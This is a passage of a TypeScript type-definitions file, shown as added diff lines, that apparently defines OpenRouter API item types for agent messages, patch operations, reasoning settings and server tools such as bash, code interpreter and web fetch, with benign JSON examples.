image_url?: string | null + type: 'input_image' +} + +/** + * @description A message routed between agents in a multi-agent session + * @example {"author":"/root/worker","content":[{"text":"Task complete.","type":"input_text"}],"recipient":"/root","type":"agent_message"} + * @type object + */ +export type AgentMessageItem = { + agent?: { + agent_name: string + [key: string]: unknown + } | null + author: string + content: ( + | InputText + | (InputImage & object) + | { + encrypted_content: string + type: 'encrypted_content' + [key: string]: unknown + } + )[] + id?: string | null + recipient: string + type: 'agent_message' + [key: string]: unknown +} + +/** + * @description The `create_file` variant of an `apply_patch_call.operation`. Carries a V4A diff describing the new file contents. + * @example {"diff":"@@\n+console.log(\"hi\");\n","path":"/src/main.ts","type":"create_file"} + * @type object + */ +export type ApplyPatchCreateFileOperation = { + diff: string + path: string + type: 'create_file' +} + +/** + * @description The `update_file` variant of an `apply_patch_call.operation`. Carries a V4A diff describing edits to an existing file. + * @example {"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"} + * @type object + */ +export type ApplyPatchUpdateFileOperation = { + diff: string + path: string + type: 'update_file' +} + +/** + * @description The `delete_file` variant of an `apply_patch_call.operation`. Identifies the file to remove; no diff is required. + * @example {"path":"/src/main.ts","type":"delete_file"} + * @type object + */ +export type ApplyPatchDeleteFileOperation = { + path: string + type: 'delete_file' +} + +/** + * @description The patch operation requested by an `apply_patch_call`. `create_file` and `update_file` carry a V4A diff; `delete_file` omits it. + * @example {"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"} + */ +export type ApplyPatchCallOperation = + | (ApplyPatchCreateFileOperation & { + type: 'create_file' + }) + | (ApplyPatchUpdateFileOperation & { + type: 'update_file' + }) + | (ApplyPatchDeleteFileOperation & { + type: 'delete_file' + }) + +export const applyPatchCallStatus = { + in_progress: 'in_progress', + completed: 'completed', +} as const + +export type ApplyPatchCallStatusKey = + (typeof applyPatchCallStatus)[keyof typeof applyPatchCallStatus] + +/** + * @description A tool call emitted by the model requesting a V4A patch operation. The client applies the patch and echoes an `apply_patch_call_output` on the next turn. + * @example {"call_id":"call_abc123","id":"apc_abc123","operation":{"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"},"status":"completed","type":"apply_patch_call"} + * @type object + */ +export type ApplyPatchCallItem = { + call_id: string + id?: string | null + /** + * @description The patch operation requested by an `apply_patch_call`. `create_file` and `update_file` carry a V4A diff; `delete_file` omits it. + * @example {"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"} + */ + operation: ApplyPatchCallOperation + /** + * @description Lifecycle state of an `apply_patch_call` output item. + * @example completed + * @type string + */ + status: ApplyPatchCallStatusKey + type: 'apply_patch_call' +} + +export const applyPatchCallOutputItemStatusEnum = { + completed: 'completed', + failed: 'failed', +} as const + +export type ApplyPatchCallOutputItemStatusEnumKey = + (typeof applyPatchCallOutputItemStatusEnum)[keyof typeof applyPatchCallOutputItemStatusEnum] + +/** + * @description The client's echo of an `apply_patch_call` after applying the patch. `output` is an optional human-readable log; `status` is `completed` when the patch was applied successfully, `failed` otherwise. + * @example {"call_id":"call_abc123","output":"Applied patch to /src/main.ts","status":"completed","type":"apply_patch_call_output"} + * @type object + */ +export type ApplyPatchCallOutputItem = { + call_id: string + id?: string | null + output?: string | null + status: ApplyPatchCallOutputItemStatusEnumKey + type: 'apply_patch_call_output' +} + +export const reasoningContext = { + auto: 'auto', + all_turns: 'all_turns', + current_turn: 'current_turn', +} as const + +export type ReasoningContextKey = + (typeof reasoningContext)[keyof typeof reasoningContext] + +export const reasoningEffort = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type ReasoningEffortKey = + (typeof reasoningEffort)[keyof typeof reasoningEffort] + +export const reasoningMode = { + standard: 'standard', + pro: 'pro', +} as const + +export type ReasoningModeKey = + (typeof reasoningMode)[keyof typeof reasoningMode] + +export const reasoningSummaryVerbosity = { + auto: 'auto', + concise: 'concise', + detailed: 'detailed', +} as const + +export type ReasoningSummaryVerbosityKey = + (typeof reasoningSummaryVerbosity)[keyof typeof reasoningSummaryVerbosity] + +/** + * @example {"effort":"medium","summary":"auto"} + * @type object + */ +export type BaseReasoningConfig = { + /** + * @description Controls which reasoning is available to the model. `auto` uses the model default (same as omitting); `all_turns` includes reasoning from earlier turns passed in input; `current_turn` limits to the current turn only. Only supported by OpenAI GPT-5.6 and newer. + * @example all_turns + * @type string | undefined + */ + context?: ReasoningContextKey | null + /** + * @example medium + * @type string | undefined + */ + effort?: ReasoningEffortKey | null + /** + * @description Selects the reasoning mode. `standard` is the default; `pro` engages deeper reasoning on models that support it, billed at standard token rates. Only supported by OpenAI GPT-5.6 and newer. + * @example standard + * @type string | undefined + */ + mode?: ReasoningModeKey | null + /** + * @example auto + * @type string | undefined + */ + summary?: ReasoningSummaryVerbosityKey | null +} | null + +/** + * @example {"logs":"hello\n","type":"logs"} + * @type object + */ +export type CodeInterpreterLogsOutput = { + logs: string + type: 'logs' +} + +/** + * @example {"type":"image","url":"https://example.com/plot.png"} + * @type object + */ +export type CodeInterpreterImageOutput = { + type: 'image' + url: string +} + +/** + * @example {"download_url":"https://example.com/download/file_abc123","filename":"summary.txt","id":"file_abc123","type":"file"} + * @type object + */ +export type CodeInterpreterFileOutput = { + /** + * @description Provider-issued download URL for the generated file. Typically signed and time-limited (see `expires_at`); fetch promptly rather than persisting the URL. + * @type string | undefined + */ + download_url?: string + /** + * @description Provider error code when generating or persisting the file failed; null or absent on success. + * @type string | undefined + */ + error_code?: string | null + /** + * @description When the `download_url` stops working, as an ISO 8601 timestamp. After this time the file must be regenerated. + * @type string | undefined + */ + expires_at?: string + filename?: string + id?: string + media_type?: string + sha256?: string + size_bytes?: number + /** + * @description Provider-reported readiness of the generated file (e.g. `ready`). Values other than `ready` indicate the artifact may not be downloadable. + * @type string | undefined + */ + status?: string + type: 'file' +} + +export const outputItemCodeInterpreterCallStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', + interpreting: 'interpreting', + failed: 'failed', +} as const + +export type OutputItemCodeInterpreterCallStatusEnumKey = + (typeof outputItemCodeInterpreterCallStatusEnum)[keyof typeof outputItemCodeInterpreterCallStatusEnum] + +/** + * @example {"code":"print(\"hello\")","id":"ci_abc123","outputs":[{"logs":"hello\n","type":"logs"}],"status":"completed","type":"code_interpreter_call"} + * @type object + */ +export type OutputItemCodeInterpreterCall = { + code?: string | null + container_id?: string + id: string + outputs?: + | ( + | (CodeInterpreterLogsOutput & { + type: 'logs' + }) + | (CodeInterpreterImageOutput & { + type: 'image' + }) + | (CodeInterpreterFileOutput & { + type: 'file' + }) + )[] + | null + status: OutputItemCodeInterpreterCallStatusEnumKey + type: 'code_interpreter_call' + [key: string]: unknown +} + +/** + * @description A code interpreter execution call with outputs + * @example {"code":"print(\"Hello, World!\")","container_id":"container-xyz789","id":"code-abc123","outputs":[{"logs":"Hello, World!","type":"logs"}],"status":"completed","type":"code_interpreter_call"} + */ +export type CodeInterpreterCallItem = OutputItemCodeInterpreterCall & { + [key: string]: unknown +} + +/** + * @description A context compaction marker with encrypted summary + * @example {"encrypted_content":"enc_abc123...","type":"compaction"} + * @type object + */ +export type CompactionItem = { + encrypted_content: string + id?: string | null + type: 'compaction' + [key: string]: unknown +} + +/** + * @description Asks the model to compact the preceding input into a compaction item + * @example {"type":"compaction_trigger"} + * @type object + */ +export type CompactionTriggerItem = { + type: 'compaction_trigger' +} + +/** + * @description Changes reasoning effort from this point in the conversation onward without invalidating the prompt cache for the preceding items. Place it before the user message it should apply to; it stays in effect until another configuration update. Two adjacent configuration updates are rejected. Only supported by models that accept mid-conversation effort changes. + * @example {"reasoning":{"effort":"low"},"type":"configuration_update"} + * @type object + */ +export type ConfigurationUpdateItem = { + id?: string | null + /** + * @description Reasoning settings applied from this point in the conversation onward + * @example {"effort":"low"} + * @type object + */ + reasoning: ConfigurationUpdateReasoning + type: 'configuration_update' +} + +/** + * @description A context compaction marker with an optional encrypted summary + * @example {"encrypted_content":"enc_abc123...","type":"context_compaction"} + * @type object + */ +export type ContextCompactionItem = { + encrypted_content?: string | null + id?: string | null + type: 'context_compaction' + [key: string]: unknown +} + +export const toolCallStatus = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type ToolCallStatusKey = + (typeof toolCallStatus)[keyof typeof toolCallStatus] + +/** + * @description A call to a custom (freeform-grammar) tool created by the model — distinct from `function_call`. Used for tools like Codex CLI's `apply_patch` whose payload is opaque text rather than JSON arguments. + * @example {"call_id":"call-abc123","id":"ctc-abc123","input":"*** Begin Patch\n*** End Patch","name":"apply_patch","type":"custom_tool_call"} + * @type object + */ +export type CustomToolCallItem = { + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean | null + call_id: string + id?: string | null + input: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string | null + status?: ToolCallStatusKey | null + type: 'custom_tool_call' +} + +/** + * @description File input content item + * @example {"file_id":"file-abc123","filename":"document.pdf","type":"input_file"} + * @type object + */ +export type InputFile = { + file_data?: string + file_id?: string | null + file_url?: string + filename?: string + type: 'input_file' +} + +/** + * @example {"call_id":"call-abc123","output":"patch applied successfully","type":"custom_tool_call_output"} + * @type object + */ +export type OpenAIResponseCustomToolCallOutput = { + call_id: string + id?: string + output: + | string + | ( + | (InputText & { + type: 'input_text' + }) + | (InputImage & { + type: 'input_image' + }) + | (InputFile & { + type: 'input_file' + }) + )[] + type: 'custom_tool_call_output' +} + +/** + * @description The output from a custom (freeform-grammar) tool call execution. Mirrors `function_call_output` but is matched to a `custom_tool_call` rather than a `function_call`. + * @example {"call_id":"call-abc123","id":"ctco-abc123","output":"patch applied successfully","type":"custom_tool_call_output"} + */ +export type CustomToolCallOutputItem = OpenAIResponseCustomToolCallOutput & { + output?: string | (InputText | (InputImage & object) | InputFile)[] +} + +export const inputAudioInputAudioFormatEnum = { + mp3: 'mp3', + wav: 'wav', +} as const + +export type InputAudioInputAudioFormatEnumKey = + (typeof inputAudioInputAudioFormatEnum)[keyof typeof inputAudioInputAudioFormatEnum] + +/** + * @description Audio input content item + * @example {"input_audio":{"data":"SGVsbG8gV29ybGQ=","format":"mp3"},"type":"input_audio"} + * @type object + */ +export type InputAudio = { + input_audio: { + data: string + format: InputAudioInputAudioFormatEnumKey + } + type: 'input_audio' +} + +export const inputVideoProcessingEnum = { + agentic: 'agentic', + static: 'static', +} as const + +export type InputVideoProcessingEnumKey = + (typeof inputVideoProcessingEnum)[keyof typeof inputVideoProcessingEnum] + +/** + * @description Video input content item + * @example {"type":"input_video","video_url":"https://example.com/video.mp4"} + * @type object + */ +export type InputVideo = { + /** + * @description Video processing mode. `agentic` enables agentic video processing and `static` forces fixed-rate frame sampling on providers that support it (currently Google Gemini). + * @example agentic + * @type string | undefined + */ + processing?: InputVideoProcessingEnumKey + type: 'input_video' + /** + * @description A base64 data URL or remote URL that resolves to a video file + * @type string + */ + video_url: string +} + +/** + * @example {"content":"What is the weather today?","role":"user"} + * @type object + */ +export type EasyInputMessage = { + content?: + | ( + | InputText + | (InputImage & object) + | InputFile + | InputAudio + | InputVideo + )[] + | string + | null + /** + * @description The phase of an assistant message. Use `commentary` for an intermediate assistant message and `final_answer` for the final assistant message. For follow-up requests with models like `gpt-5.3-codex` and later, preserve and resend phase on all assistant messages. Omitting it can degrade performance. Not used for user messages. + * @example final_answer + */ + phase?: 'commentary' | 'final_answer' | null + role: 'user' | 'system' | 'assistant' | 'developer' + type?: 'message' +} + +export const failableToolCallStatus = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', + failed: 'failed', +} as const + +export type FailableToolCallStatusKey = + (typeof failableToolCallStatus)[keyof typeof failableToolCallStatus] + +/** + * @example {"file_id":"file-abc123","filename":"research_paper.pdf","index":0,"type":"file_citation"} + * @type object + */ +export type FileCitation = { + file_id: string + filename: string + index: number + type: 'file_citation' +} + +/** + * @example {"file_id":"file-xyz789","index":0,"type":"file_path"} + * @type object + */ +export type FilePath = { + file_id: string + index: number + type: 'file_path' +} + +/** + * @description JSON object response format + * @example {"type":"json_object"} + * @type object + */ +export type FormatJsonObjectConfig = { + type: 'json_object' +} + +/** + * @description JSON schema constrained response format + * @example {"description":"User information schema","name":"user_info","schema":{"properties":{"age":{"type":"number"},"name":{"type":"string"}},"required":["name"],"type":"object"},"type":"json_schema"} + * @type object + */ +export type FormatJsonSchemaConfig = { + description?: string + name: string + schema: { + [key: string]: unknown + } + strict?: boolean | null + type: 'json_schema' +} + +/** + * @description Plain text response format + * @example {"type":"text"} + * @type object + */ +export type FormatTextConfig = { + type: 'text' +} + +/** + * @description Text response format configuration + * @example {"type":"text"} + */ +export type Formats = + | FormatTextConfig + | FormatJsonObjectConfig + | FormatJsonSchemaConfig + +/** + * @description A function call initiated by the model + * @example {"arguments":"{\"location\":\"San Francisco\"}","call_id":"call-abc123","id":"call-abc123","name":"get_weather","status":"completed","type":"function_call"} + * @type object + */ +export type FunctionCallItem = { + arguments: string + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean | null + call_id: string + id?: string | null + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string | null + status?: ToolCallStatusKey | null + /** + * @description EXPERIMENTAL — subject to change without notice. String id that matches the `call_id` of the `openrouter:subagent` server tool call that spawned the subagent. Present on every `function_call` item the subagent projects; absent on ordinary function calls. + * @type string | undefined + */ + subagent_id?: string | null + /** + * @description EXPERIMENTAL — subject to change without notice. The subagent's output items produced on this turn. Treat this as an opaque object; you must replay it in the request so that the subagent can continue execution of the tool with the same context. If a subagent created multiple parallel tool calls, only the first tool call will have this field. The other tool calls will only have `subagent_id`. Present only if the tool call originates from a subagent spawned by the `openrouter:subagent` server tool. + * @type array | undefined + */ + subagent_items?: + | { + type: string + [key: string]: unknown + }[] + | null + type: 'function_call' +} + +/** + * @example {"call_id":"call-abc123","output":"{\"temperature\":72,\"conditions\":\"sunny\"}","type":"function_call_output"} + * @type object + */ +export type OpenAIResponseFunctionToolCallOutput = { + call_id: string + id?: string | null + output: + | string + | ( + | (InputText & { + type: 'input_text' + }) + | (InputImage & { + type: 'input_image' + }) + | (InputFile & { + type: 'input_file' + }) + )[] + status?: ToolCallStatusKey | null + type: 'function_call_output' +} + +/** + * @description The output from a function call execution + * @example {"call_id":"call-abc123","id":"output-abc123","output":"{\"temperature\":72,\"conditions\":\"sunny\"}","status":"completed","type":"function_call_output"} + */ +export type FunctionCallOutputItem = OpenAIResponseFunctionToolCallOutput & { + output?: string | (InputText | (InputImage & object) | InputFile)[] +} + +/** + * @description Structured analysis produced by the fusion analyst model. + * @example {"blind_spots":["No model considered the impact on existing API consumers."],"consensus":["All panel models agree the request is asking for a concise summary."],"contradictions":[{"stances":[{"model":"openai/gpt-5","stance":"Favors an incremental rollout."},{"model":"anthropic/claude-sonnet-4.5","stance":"Favors a single coordinated migration."}],"topic":"Recommended approach"}],"partial_coverage":[{"models":["openai/gpt-5"],"point":"Only one model addressed the rollback strategy."}],"unique_insights":[{"insight":"Highlighted a backwards-compatibility risk the other models missed.","model":"anthropic/claude-sonnet-4.5"}]} + * @type object + */ +export type FusionAnalysisResult = { + blind_spots: string[] + consensus: string[] + contradictions: { + stances: { + model: string + stance: string + }[] + topic: string + }[] + partial_coverage: { + models: string[] + point: string + }[] + unique_insights: { + insight: string + model: string + }[] +} + +/** + * @description A web page retrieved via web search during a fusion run. + * @example {"title":"Example article title","url":"https://example.com/article"} + * @type object + */ +export type FusionSource = { + /** + * @description Title of the retrieved web page. + * @type string + */ + title: string + /** + * @description URL of the web page a panel or the analyst retrieved during the run. + * @type string + */ + url: string +} + +export const imageGenerationStatus = { + in_progress: 'in_progress', + completed: 'completed', + generating: 'generating', + failed: 'failed', +} as const + +export type ImageGenerationStatusKey = + (typeof imageGenerationStatus)[keyof typeof imageGenerationStatus] + +/** + * @example {"content":[{"text":"Hello, how are you?","type":"input_text"}],"id":"msg-abc123","role":"user","type":"message"} + * @type object + */ +export type InputMessageItem = { + content?: + | ( + | InputText + | (InputImage & object) + | InputFile + | InputAudio + | InputVideo + )[] + | null + id?: string + role: 'user' | 'system' | 'developer' + type?: 'message' +} + +/** + * @example {"text":"Let me think step by step about this problem...","type":"reasoning_text"} + * @type object + */ +export type ReasoningTextContent = { + text: string + type: 'reasoning_text' +} + +/** + * @example {"text":"Analyzed the problem using first principles","type":"summary_text"} + * @type object + */ +export type ReasoningSummaryText = { + text: string + type: 'summary_text' +} + +/** + * @example {"id":"reasoning-abc123","summary":[{"text":"Analyzed the problem using first principles","type":"summary_text"}],"type":"reasoning"} + * @type object + */ +export type OutputItemReasoning = { + content?: ReasoningTextContent[] + encrypted_content?: string | null + id: string + status?: 'completed' | 'incomplete' | 'in_progress' + summary: ReasoningSummaryText[] + type: 'reasoning' +} + +/** + * @description Reasoning output item with signature and format extensions + * @example {"id":"reasoning-abc123","summary":[{"text":"Step by step analysis","type":"summary_text"}],"type":"reasoning"} + */ +export type ReasoningItem = OutputItemReasoning & { + content?: ReasoningTextContent[] | null + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + signature?: string | null +} + +/** + * @example {"content":"OpenRouter provides a unified API for accessing LLMs from multiple providers.","end_index":42,"start_index":0,"title":"OpenRouter Documentation","type":"url_citation","url":"https://openrouter.ai/docs"} + * @type object + */ +export type URLCitation = { + content?: string + end_index: number + start_index: number + title: string + type: 'url_citation' + url: string +} + +/** + * @example {"file_id":"file-abc123","filename":"research_paper.pdf","index":0,"type":"file_citation"} + */ +export type OpenAIResponsesAnnotation = FileCitation | URLCitation | FilePath + +/** + * @example {"annotations":[{"end_index":42,"start_index":0,"title":"Paris - Wikipedia","type":"url_citation","url":"https://en.wikipedia.org/wiki/Paris"}],"text":"The capital of France is Paris.","type":"output_text"} + * @type object + */ +export type ResponseOutputText = { + annotations?: OpenAIResponsesAnnotation[] + logprobs?: { + bytes: number[] + /** + * @description + * Format: `double` + * @type number + */ + logprob: number + token: string + top_logprobs: { + bytes: number[] + /** + * @description + * Format: `double` + * @type number + */ + logprob: number + token: string + }[] + }[] + text: string + type: 'output_text' +} + +/** + * @example {"refusal":"I'm sorry, I cannot assist with that request","type":"refusal"} + * @type object + */ +export type OpenAIResponsesRefusalContent = { + refusal: string + type: 'refusal' +} + +/** + * @example {"content":[{"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"} + * @type object + */ +export type OutputMessage = { + content: (ResponseOutputText | OpenAIResponsesRefusalContent)[] + id: string + /** + * @description The phase of an assistant message. Use `commentary` for an intermediate assistant message and `final_answer` for the final assistant message. For follow-up requests with models like `gpt-5.3-codex` and later, preserve and resend phase on all assistant messages. Omitting it can degrade performance. Not used for user messages. + */ + phase?: 'commentary' | 'final_answer' | null + role: 'assistant' + status?: 'completed' | 'incomplete' | 'in_progress' + type: 'message' +} + +/** + * @description An output message item + * @example {"content":[{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"}],"id":"msg-123","role":"assistant","status":"completed","type":"message"} + */ +export type OutputMessageItem = OutputMessage & object + +/** + * @description An output item containing reasoning + * @example {"content":[{"text":"First, we analyze the problem...","type":"reasoning_text"}],"format":"anthropic-claude-v1","id":"reasoning-123","signature":"EvcBCkgIChABGAIqQKkSDbRuVEQUk9qN1odC098l9SEj...","status":"completed","summary":[{"text":"Analyzed the problem and found the optimal solution.","type":"summary_text"}],"type":"reasoning"} + */ +export type OutputReasoningItem = OutputItemReasoning & { + content?: ReasoningTextContent[] | null + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + /** + * @description A signature for the reasoning content, used for verification + * @example EvcBCkgIChABGAIqQKkSDbRuVEQUk9qN1odC098l9SEj... + * @type string | undefined + */ + signature?: string | null +} + +/** + * @example {"type":"url","url":"https://example.com/article"} + * @type object + */ +export type WebSearchSource = { + type: 'url' + url: string +} + +export const webSearchStatus = { + completed: 'completed', + searching: 'searching', + in_progress: 'in_progress', + failed: 'failed', + incomplete: 'incomplete', +} as const + +export type WebSearchStatusKey = + (typeof webSearchStatus)[keyof typeof webSearchStatus] + +/** + * @example {"action":{"query":"OpenAI API","type":"search"},"id":"search-abc123","status":"completed","type":"web_search_call"} + * @type object + */ +export type OutputItemWebSearchCall = { + action?: + | { + queries?: string[] + query: string + sources?: WebSearchSource[] + type: 'search' + } + | { + type: 'open_page' + url?: string | null + } + | { + pattern: string + type: 'find_in_page' + url: string + } + id: string + /** + * @example completed + * @type string + */ + status: WebSearchStatusKey + type: 'web_search_call' + [key: string]: unknown +} + +/** + * @example {"id":"ws-abc123","status":"completed","type":"web_search_call"} + */ +export type OutputWebSearchCallItem = OutputItemWebSearchCall & { + [key: string]: unknown +} + +/** + * @example {"id":"filesearch-abc123","queries":["machine learning algorithms","neural networks"],"status":"completed","type":"file_search_call"} + * @type object + */ +export type OutputItemFileSearchCall = { + id: string + queries: string[] + /** + * @example completed + * @type string + */ + status: WebSearchStatusKey + type: 'file_search_call' +} + +/** + * @example {"id":"fs-abc123","queries":["search term"],"results":[],"status":"completed","type":"file_search_call"} + */ +export type OutputFileSearchCallItem = OutputItemFileSearchCall & object + +/** + * @example {"id":"imagegen-abc123","result":"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==","status":"completed","type":"image_generation_call"} + * @type object + */ +export type OutputItemImageGenerationCall = { + id: string + result?: string | null + /** + * @example completed + * @type string + */ + status: ImageGenerationStatusKey + type: 'image_generation_call' +} + +/** + * @example {"id":"img-abc123","result":null,"status":"completed","type":"image_generation_call"} + */ +export type OutputImageGenerationCallItem = OutputItemImageGenerationCall & { + /** + * @description The prompt (possibly rewritten) that the image was generated from. + * @type string | undefined + */ + prompt?: string +} + +/** + * @description A code interpreter execution call with outputs + * @example {"code":"print(\"hello\")","container_id":"ctr-xyz789","id":"ci-abc123","outputs":[{"logs":"hello\n","type":"logs"}],"status":"completed","type":"code_interpreter_call"} + */ +export type OutputCodeInterpreterCallItem = CodeInterpreterCallItem & { + [key: string]: unknown +} + +export const outputComputerCallItemStatusEnum = { + completed: 'completed', + incomplete: 'incomplete', + in_progress: 'in_progress', +} as const + +export type OutputComputerCallItemStatusEnumKey = + (typeof outputComputerCallItemStatusEnum)[keyof typeof outputComputerCallItemStatusEnum] + +/** + * @example {"action":{"type":"screenshot"},"call_id":"call-abc123","id":"cu-abc123","pending_safety_checks":[],"status":"completed","type":"computer_call"} + * @type object + */ +export type OutputComputerCallItem = { + action?: unknown + call_id: string + id?: string + pending_safety_checks: { + code: string + id: string + message: string + }[] + status: OutputComputerCallItemStatusEnumKey + type: 'computer_call' +} + +/** + * @description An openrouter:datetime server tool output item + * @example {"datetime":"2026-03-12T14:30:00.000Z","id":"dt_tmp_abc123","status":"completed","timezone":"UTC","type":"openrouter:datetime"} + * @type object + */ +export type OutputDatetimeItem = { + /** + * @description ISO 8601 datetime string + * @type string + */ + datetime: string + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + id?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + /** + * @description IANA timezone name + * @type string + */ + timezone: string + type: 'openrouter:datetime' +} + +/** + * @description An openrouter:web_search server tool output item + * @example {"action":{"query":"latest AI news","type":"search"},"id":"ws_tmp_abc123","status":"completed","type":"openrouter:web_search"} + * @type object + */ +export type OutputWebSearchServerToolItem = { + /** + * @description The search action performed, matching OpenAI web_search_call.action shape. Includes the query the model issued and optional source URLs returned by the search provider. + * @type object | undefined + */ + action?: { + query: string + sources?: { + type: 'url' + url: string + }[] + type: 'search' + } + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + id?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:web_search' +} + +/** + * @description An openrouter:code_interpreter server tool output item + * @example {"code":"print(\"hello\")","id":"ci_tmp_abc123","language":"python","status":"completed","stdout":"hello\n","type":"openrouter:code_interpreter"} + * @type object + */ +export type OutputCodeInterpreterServerToolItem = { + code?: string + exitCode?: number + id?: string + language?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + stderr?: string + stdout?: string + type: 'openrouter:code_interpreter' +} + +/** + * @description An openrouter:file_search server tool output item + * @example {"id":"fs_tmp_abc123","queries":["search term"],"status":"completed","type":"openrouter:file_search"} + * @type object + */ +export type OutputFileSearchServerToolItem = { + id?: string + queries?: string[] + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:file_search' +} + +/** + * @description An openrouter:image_generation server tool output item + * @example {"id":"ig_tmp_abc123","imageUrl":"https://example.com/image.png","result":"https://example.com/image.png","status":"completed","type":"openrouter:image_generation"} + * @type object + */ +export type OutputImageGenerationServerToolItem = { + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + id?: string + imageB64?: string + imageUrl?: string + /** + * @description The prompt (possibly rewritten) that the image was generated from. + * @type string | undefined + */ + prompt?: string + /** + * @description The generated image as a base64-encoded string or URL, matching OpenAI image_generation_call format + * @type string | undefined + */ + result?: string | null + revisedPrompt?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:image_generation' +} + +/** + * @description An openrouter:browser_use server tool output item + * @example {"action":"screenshot","id":"bu_tmp_abc123","status":"completed","type":"openrouter:browser_use"} + * @type object + */ +export type OutputBrowserUseServerToolItem = { + action?: string + id?: string + screenshotB64?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:browser_use' +} + +/** + * @description An openrouter:bash server tool output item + * @example {"command":"ls -la","exitCode":0,"id":"bash_tmp_abc123","status":"completed","stdout":"total 0\n","type":"openrouter:bash"} + * @type object + */ +export type OutputBashServerToolItem = { + /** + * @description The raw tool-call arguments string as emitted by the model. + * @type string | undefined + */ + arguments?: string | null + /** + * @description The model-generated tool call id from the originating turn. + * @type string | undefined + */ + call_id?: string | null + command?: string + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + /** + * @description The error message when the sandbox call failed before producing a result (for example, the per-user container limit was reached). Set together with `status: 'failed'`; absent on a successful call. A non-zero `exitCode` is a command failure, not a tool failure. + * @type string | undefined + */ + error?: string + exitCode?: number + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + id?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + stderr?: string + stdout?: string + type: 'openrouter:bash' +} + +export const outputTextEditorServerToolItemCommandEnum = { + view: 'view', + create: 'create', + str_replace: 'str_replace', + insert: 'insert', +} as const + +export type OutputTextEditorServerToolItemCommandEnumKey = + (typeof outputTextEditorServerToolItemCommandEnum)[keyof typeof outputTextEditorServerToolItemCommandEnum] + +/** + * @description An openrouter:text_editor server tool output item + * @example {"command":"view","filePath":"/src/main.ts","id":"te_tmp_abc123","status":"completed","type":"openrouter:text_editor"} + * @type object + */ +export type OutputTextEditorServerToolItem = { + command?: OutputTextEditorServerToolItemCommandEnumKey + filePath?: string + id?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:text_editor' +} + +/** + * @description An openrouter:apply_patch server tool output item. The turn halts when validation succeeds so the client can apply the patch and echo an `apply_patch_call_output` on the next turn. + * @example {"call_id":"call_abc123","id":"apc_abc123","operation":{"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"},"status":"completed","type":"openrouter:apply_patch"} + * @type object + */ +export type OutputApplyPatchServerToolItem = { + call_id?: string + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + id?: string + /** + * @description The patch operation requested by an `apply_patch_call`. `create_file` and `update_file` carry a V4A diff; `delete_file` omits it. + * @example {"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"} + */ + operation?: ApplyPatchCallOperation + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:apply_patch' +} + +/** + * @description An openrouter:web_fetch server tool output item + * @example {"httpStatus":200,"id":"wf_tmp_abc123","status":"completed","title":"Example Domain","type":"openrouter:web_fetch","url":"https://example.com"} + * @type object + */ +export type OutputWebFetchServerToolItem = { + content?: string + /** + * @description The error message if the fetch failed. + * @type string | undefined + */ + error?: string + /** + * @description The HTTP status code returned by the upstream URL fetch. + * @type integer | undefined + */ + httpStatus?: number + id?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + title?: string + type: 'openrouter:web_fetch' + url?: string +} + +/** + * @description An openrouter:tool_search server tool output item + * @example {"id":"ts_tmp_abc123","query":"weather tools","status":"completed","type":"openrouter:tool_search"} 